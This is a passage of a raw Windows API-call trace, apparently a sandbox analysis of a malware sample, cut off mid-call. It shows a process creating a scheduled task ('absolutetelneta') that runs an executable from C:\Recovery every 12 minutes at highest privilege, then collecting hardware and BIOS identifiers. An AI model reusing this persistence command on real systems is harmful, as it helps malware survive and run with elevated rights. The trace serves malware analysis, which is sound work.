_Dst=0x12d85c, _Src=0x1617f8, _Size=0xa | out: _Dst=0x12d85c) returned 0x12d85c [0146.221] free (_Block=0x2af0c0) [0146.221] free (_Block=0x2aefc0) [0146.221] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0146.221] malloc (_Size=0x5e) returned 0x2b08a0 [0146.221] free (_Block=0x2aefa0) [0146.221] malloc (_Size=0x18) returned 0x2aefa0 [0146.221] free (_Block=0x2b08a0) [0146.221] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0146.222] GetLastError () returned 0x7a [0146.222] malloc (_Size=0x14) returned 0x2aefc0 [0146.222] malloc (_Size=0x16) returned 0x2af0c0 [0146.222] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefc0, cchName=0xe7ca94, ReferencedDomainName=0x2af0c0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0146.223] malloc (_Size=0x18) returned 0x2aef80 [0146.223] malloc (_Size=0x18) returned 0x2af0e0 [0146.223] free (_Block=0x2aefc0) [0146.223] free (_Block=0x2af0c0) [0146.223] free (_Block=0x2affa0) [0146.223] free (_Block=0x2af0e0) [0146.223] free (_Block=0x2aef80) [0146.224] free (_Block=0x2aefa0) [0146.224] free (_Block=0x2ae2e0) [0146.224] malloc (_Size=0x48) returned 0x2ad220 [0146.224] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0146.228] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0146.228] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0146.229] malloc (_Size=0x18) returned 0x2aefa0 [0146.229] CreateEnvironmentBlock () returned 0x1 [0146.318] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0146.318] malloc (_Size=0x18) returned 0x2aef80 [0146.318] CreateProcessAsUserW (in: hToken=0x2ac, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"absolutetelneta\" /sc MINUTE /mo 12 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x1bef00, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"absolutetelneta\" /sc MINUTE /mo 12 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x248, hThread=0x244, dwProcessId=0x39c, dwThreadId=0x3a8)) returned 1 [0146.323] CloseHandle (hObject=0x248) returned 1 [0146.323] CloseHandle (hObject=0x244) returned 1 [0146.324] free (_Block=0x2aef80) [0146.324] DestroyEnvironmentBlock () returned 0x1 [0146.324] malloc (_Size=0x48) returned 0x2ad270 [0146.324] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2525bb60, dwHighDateTime=0x1d8a92a)) [0146.324] SetEvent (hEvent=0x1f0) returned 1 [0146.324] CloseHandle (hObject=0x1ec) returned 1 [0146.324] CloseHandle (hObject=0x2ac) returned 1 [0146.510] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0146.510] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0146.510] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0146.696] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0146.910] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0146.910] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0146.978] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0146.979] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f2e0 [0146.979] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0146.979] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x2c) returned 0x12b040 [0146.979] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f2e0 | out: hHeap=0xc0000) returned 1 [0146.979] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0xc8) returned 0xf8630 [0146.980] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xf8630 | out: hHeap=0xc0000) returned 1 [0146.980] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x38) returned 0x12ac80 [0146.980] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12ac80 | out: hHeap=0xc0000) returned 1 [0146.980] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x84) returned 0x114c40 [0146.980] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12b040 | out: hHeap=0xc0000) returned 1 [0146.982] memcpy (in: _Dst=0xe7e0c8, _Src=0x12fd5c, _Size=0x4 | out: _Dst=0xe7e0c8) returned 0xe7e0c8 [0146.982] memcpy (in: _Dst=0xe7e0c8, _Src=0x12f669, _Size=0x4 | out: _Dst=0xe7e0c8) returned 0xe7e0c8 [0146.983] memcpy (in: _Dst=0xe7e0c8, _Src=0x12fd64, _Size=0x2 | out: _Dst=0xe7e0c8) returned 0xe7e0c8 [0146.983] memcpy (in: _Dst=0xe7e0c8, _Src=0x12f66f, _Size=0x2 | out: _Dst=0xe7e0c8) returned 0xe7e0c8 [0146.983] memcpy (in: _Dst=0xe7e0c8, _Src=0x12f671, _Size=0x2 | out: _Dst=0xe7e0c8) returned 0xe7e0c8 [0147.132] memcpy (in: _Dst=0xe7e0c8, _Src=0x13e919, _Size=0x2 | out: _Dst=0xe7e0c8) returned 0xe7e0c8 [0147.132] memcpy (in: _Dst=0xe7e0c8, _Src=0x13e91b, _Size=0x2 | out: _Dst=0xe7e0c8) returned 0xe7e0c8 [0147.132] memcpy (in: _Dst=0xe7e0c8, _Src=0x13e91d, _Size=0x2 | out: _Dst=0xe7e0c8) returned 0xe7e0c8 [0147.133] memcpy (in: _Dst=0xe7e0c8, _Src=0x13e91f, _Size=0x2 | out: _Dst=0xe7e0c8) returned 0xe7e0c8 [0147.133] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x28) returned 0x161910 [0147.133] SafeArrayGetElemsize (psa=0x15d230) returned 0x8 [0147.133] memcpy (in: _Dst=0xe7deb0, _Src=0xe7ddd8, _Size=0x8 | out: _Dst=0xe7deb0) returned 0xe7deb0 [0147.134] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x161910 | out: hHeap=0xc0000) returned 1 [0147.134] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xf6d00 | out: hHeap=0xc0000) returned 1 [0147.134] memcpy (in: _Dst=0xe7e0c8, _Src=0x16130e, _Size=0x4 | out: _Dst=0xe7e0c8) returned 0xe7e0c8 [0148.296] EtwEventWrite (RegHandle=0x1100010001, EventDescriptor=0x7fef95c60b0, UserDataCount=0x5, UserData=0xe7e040) returned 0x0 [0148.298] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () [0148.352] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0148.363] SetLastError (dwErrCode=0x0) [0148.363] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1e0 | out: pulNumLanguages=0xe7e2d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1e0) returned 1 [0148.364] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0148.364] SetLastError (dwErrCode=0x0) [0148.364] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2d8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1e0 | out: pulNumLanguages=0xe7e2d8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1e0) returned 1 [0148.364] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd900 [0148.364] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0148.364] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0148.364] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2d8 | out: pulNumLanguages=0xe7e2d8) returned 1 [0148.364] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0148.507] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0148.507] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2d0 | out: pulNumLanguages=0xe7e2d0) returned 1 [0148.507] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0148.985] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0149.006] SetLastError (dwErrCode=0x0) [0149.006] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1e0 | out: pulNumLanguages=0xe7e2d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1e0) returned 1 [0149.006] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd900 [0149.006] SetLastError (dwErrCode=0x0) [0149.006] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2d8, pwszLanguagesBuffer=0xfd900, pcchLanguagesBuffer=0xe7e1e0 | out: pulNumLanguages=0xe7e2d8, pwszLanguagesBuffer=0xfd900, pcchLanguagesBuffer=0xe7e1e0) returned 1 [0149.006] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0149.006] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd900 | out: hHeap=0xc0000) returned 1 [0149.006] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f400 [0149.006] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f400, pulNumLanguages=0xe7e2d8 | out: pulNumLanguages=0xe7e2d8) returned 1 [0149.006] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f400 | out: hHeap=0xc0000) returned 1 [0149.133] LoadStringW (in: hInstance=0x7fef22d0000, uID=0x3f, lpBuffer=0xe7d8a0, cchBufferMax=256 | out: lpBuffer="System Enclosure") returned 0x10 [0149.134] lstrlenW (lpString="Inventec") returned 8 [0149.135] SafeArrayPutElement (psa=0x1184c70, rgIndices=0xe7db14, pv=0xe7db10) returned 0x0 [0149.135] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x78) returned 0xf6e80 [0149.135] SafeArrayGetDim (psa=0x1184c70) returned 0x1 [0149.135] SafeArrayGetLBound (in: psa=0x1184c70, nDim=0x1, plLbound=0xe7d8d4 | out: plLbound=0xe7d8d4) returned 0x0 [0149.135] SafeArrayGetUBound (in: psa=0x1184c70, nDim=0x1, plUbound=0xe7d8e0 | out: plUbound=0xe7d8e0) returned 0x0 [0149.135] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x28) returned 0x142390 [0149.135] SafeArrayGetDim (psa=0x1184c70) returned 0x1 [0149.135] SafeArrayGetUBound (in: psa=0x1184c70, nDim=0x1, plUbound=0xe7d898 | out: plUbound=0xe7d898) returned 0x0 [0149.135] SafeArrayGetElemsize (psa=0x1184c70) returned 0x2 [0149.135] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x28) returned 0x1424b0 [0149.135] SafeArrayGetElemsize (psa=0x1184c30) returned 0x2 [0149.135] SafeArrayGetElement (in: psa=0x1184c70, rgIndices=0xe7d770, pv=0xe7d7a0 | out: pv=0xe7d7a0) returned 0x0 [0149.135] SafeArrayPutElement (psa=0x1184c30, rgIndices=0x1424b0, pv=0xe7d7a8) returned 0x0 [0149.135] SafeArrayRedim (in: psa=0x1184c30, psaboundNew=0x1424c8 | out: psa=0x1184c30) returned 0x0 [0149.136] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x1424b0 | out: hHeap=0xc0000) returned 1 [0149.136] SafeArrayGetLBound (in: psa=0x1184c30, nDim=0x1, plLbound=0xe7d804 | out: plLbound=0xe7d804) returned 0x0 [0149.136] SafeArrayGetUBound (in: psa=0x1184c30, nDim=0x1, plUbound=0xe7d800 | out: plUbound=0xe7d800) returned 0x0 [0149.136] SafeArrayGetElement (in: psa=0x1184c30, rgIndices=0xe7d8a8, pv=0xe7d838 | out: pv=0xe7d838) returned 0x0 [0149.137] SafeArrayPutElement (psa=0x1184cb0, rgIndices=0xe7d8a8, pv=0xe7d838) returned 0x0 [0149.137] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x142390 | out: hHeap=0xc0000) returned 1 [0149.138] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xf6e80 | out: hHeap=0xc0000) returned 1 [0149.138] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x78) returned 0xf6e80 [0149.138] SafeArrayGetDim (psa=0x1184cb0) returned 0x1 [0149.138] SafeArrayGetLBound (in: psa=0x1184cb0, nDim=0x1, plLbound=0xe7d734 | out: plLbound=0xe7d734) returned 0x0 [0149.138] SafeArrayGetUBound (in: psa=0x1184cb0, nDim=0x1, plUbound=0xe7d740 | out: plUbound=0xe7d740) returned 0x0 [0149.138] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x28) returned 0x142390 [0149.138] SafeArrayGetDim (psa=0x1184cb0) returned 0x1 [0149.138] SafeArrayGetUBound (in: psa=0x1184cb0, nDim=0x1, plUbound=0xe7d6f8 | out: plUbound=0xe7d6f8) returned 0x0 [0149.138] SafeArrayGetElemsize (psa=0x1184cb0) returned 0x4 [0149.138] SafeArrayGetElement (in: psa=0x1184cb0, rgIndices=0xe7d830, pv=0xe7d860 | out: pv=0xe7d860) returned 0x0 [0149.139] SafeArrayGetElement (in: psa=0x1184cb0, rgIndices=0xe7d830, pv=0xe7d860 | out: pv=0xe7d860) returned 0x0 [0149.139] memcpy (in: _Dst=0xe7d828, _Src=0xfd980, _Size=0x4 | out: _Dst=0xe7d828) returned 0xe7d828 [0149.139] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x142390 | out: hHeap=0xc0000) returned 1 [0149.140] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xf6e80 | out: hHeap=0xc0000) returned 1 [0149.140] lstrlenW (lpString="PVT") returned 3 [0149.140] lstrlenW (lpString="JP7XY4J") returned 7 [0149.141] lstrlenW (lpString="To Be Filled By O.E.M.") returned 22 [0149.148] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd900 [0149.148] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd900, pulNumLanguages=0xe7e2d0 | out: pulNumLanguages=0xe7e2d0) returned 1 [0149.148] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd900 | out: hHeap=0xc0000) returned 1 [0149.286] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0149.318] SetLastError (dwErrCode=0x0) [0149.318] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1e0 | out: pulNumLanguages=0xe7e2d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1e0) returned 1 [0149.318] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0149.318] SetLastError (dwErrCode=0x0) [0149.318] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2d8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1e0 | out: pulNumLanguages=0xe7e2d8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1e0) returned 1 [0149.318] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0149.318] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0149.318] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x144c50 [0149.318] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x144c50, pulNumLanguages=0xe7e2d8 | out: pulNumLanguages=0xe7e2d8) returned 1 [0149.318] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x144c50 | out: hHeap=0xc0000) returned 1 [0149.324] LoadStringW (in: hInstance=0x7fef22d0000, uID=0x3e, lpBuffer=0xe7d8b0, cchBufferMax=256 | out: lpBuffer="Base Board") returned 0xa [0149.325] lstrlenW (lpString="Dell") returned 4 [0149.325] lstrlenW (lpString="0D61XP") returned 6 [0149.326] lstrlenW (lpString="A00") returned 3 [0149.326] lstrlenW (lpString="..CN747510BO0504.") returned 17 [0149.329] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd940 [0149.329] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd940, pulNumLanguages=0xe7e2d0 | out: pulNumLanguages=0xe7e2d0) returned 1 [0149.329] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0149.440] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0149.591] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0149.613] SetLastError (dwErrCode=0x0) [0149.613] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1e0 | out: pulNumLanguages=0xe7e2d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1e0) returned 1 [0149.613] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0149.613] SetLastError (dwErrCode=0x0) [0149.613] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2d8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1e0 | out: pulNumLanguages=0xe7e2d8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1e0) returned 1 [0149.613] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0149.614] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0149.614] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x144c50 [0149.614] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x144c50, pulNumLanguages=0xe7e2d8 | out: pulNumLanguages=0xe7e2d8) returned 1 [0149.614] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x144c50 | out: hHeap=0xc0000) returned 1 [0149.620] _wtoi (_String="04") returned 4 [0149.620] _wtoi (_String="14") returned 14 [0149.620] GetLocalTime (in: lpSystemTime=0xe7cf60 | out: lpSystemTime=0xe7cf60*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xa, wMilliseconds=0x220)) [0149.620] _wtoi (_String="01") returned 1 [0149.620] _vsnwprintf (in: _Buffer=0xe7cf70, _BufferCount=0x63, _Format="%d%02d%02d000000.000000+000", _ArgList=0xe7cef8 | out: _Buffer="20140401000000.000000+000") returned 25 [0149.621] RegQueryValueExW (in: hKey=0x2d4, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0xe7d124, lpData=0xe7d7e0, lpcbData=0xe7d110*=0x410 | out: lpType=0xe7d124*=0x7, lpData=0xe7d7e0*, lpcbData=0xe7d110*=0x18) returned 0x0 [0149.621] GetProcAddress (hModule=0x7fefeb70000, lpProcName=0x17) returned 0x7fefeb77080 [0149.621] SafeArrayAccessData (in: psa=0x13a770, ppvData=0xe7d130 | out: ppvData=0xe7d130) returned 0x0 [0149.621] GetProcAddress (hModule=0x7fefeb70000, lpProcName=0x18) returned 0x7fefeb770b0 [0149.621] SafeArrayUnaccessData (psa=0x13a770) returned 0x0 [0149.622] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x78) returned 0xf6b80 [0149.622] SafeArrayGetDim (psa=0x13a730) returned 0x1 [0149.622] SafeArrayGetLBound (in: psa=0x13a730, nDim=0x1, plLbound=0xe7ce54 | out: plLbound=0xe7ce54) returned 0x0 [0149.622] SafeArrayGetUBound (in: psa=0x13a730, nDim=0x1, plUbound=0xe7ce60 | out: plUbound=0xe7ce60) returned 0x0 [0149.622] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x28) returned 0x142420 [0149.622] SafeArrayGetDim (psa=0x13a730) returned 0x1 [0149.622] SafeArrayGetUBound (in: psa=0x13a730, nDim=0x1, plUbound=0xe7ce18 | out: plUbound=0xe7ce18) returned 0x0 [0149.622] SafeArrayGetElemsize (psa=0x13a730) returned 0x8 [0149.622] SafeArrayGetElement (in: psa=0x13a730, rgIndices=0xe7cda8, pv=0xe7cdb0 | out: pv=0xe7cdb0) returned 0x0 [0149.622] memcpy (in: _Dst=0xe7cda8, _Src=0xfd900, _Size=0x8 | out: _Dst=0xe7cda8) returned 0xe7cda8 [0149.623] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x142420 | out: hHeap=0xc0000) returned 1 [0149.623] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xf6b80 | out: hHeap=0xc0000) returned 1 [0149.624] GetProcAddress (hModule=0x7fefeb70000, lpProcName=0x10) returned 0x7fefeb74170 [0149.626] lstrlenW (lpString="JP7XY4J") returned 7 [0149.627] lstrlenW (lpString="Dell Inc.") returned 9 [0149.627] lstrlenW (lpString="03/09/2011") returned 10 [0149.628] _wtoi (_String="03") returned 3 [0149.628] _wtoi (_String="2011") returned 2011 [0149.628] GetLocalTime (in: lpSystemTime=0xe7cf60 | out: lpSystemTime=0xe7cf60*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xa, wMilliseconds=0x22f)) [0149.628] _wtoi (_String="09") returned 9 [0149.628] _vsnwprintf (in: _Buffer=0xe7cf70, _BufferCount=0x63, _Format="%d%02d%02d000000.000000+000", _ArgList=0xe7cef8 | out: _Buffer="20110309000000.000000+000") returned 25 [0149.628] lstrlenW (lpString="1.56") returned 4 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0c4) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] SafeArrayPutElement (psa=0x13a770, rgIndices=0xe7d0c8, pv=0xe7d0f0) returned 0x0 [0149.629] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x78) returned 0xf6b80 [0149.629] SafeArrayGetDim (psa=0x13a770) returned 0x1 [0149.629] SafeArrayGetLBound (in: psa=0x13a770, nDim=0x1, plLbound=0xe7ce84 | out: plLbound=0xe7ce84) returned 0x0 [0149.629] SafeArrayGetUBound (in: psa=0x13a770, nDim=0x1, plUbound=0xe7ce90 | out: plUbound=0xe7ce90) returned 0x0 [0149.629] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x28) returned 0x142420 [0149.629] SafeArrayGetDim (psa=0x13a770) returned 0x1 [0149.629] SafeArrayGetUBound (in: psa=0x13a770, nDim=0x1, plUbound=0xe7ce48 | out: plUbound=0xe7ce48) returned 0x0 [0149.630] SafeArrayGetElemsize (psa=0x13a770) returned 0x4 [0149.630] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.630] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.630] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.630] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.630] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.630] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, 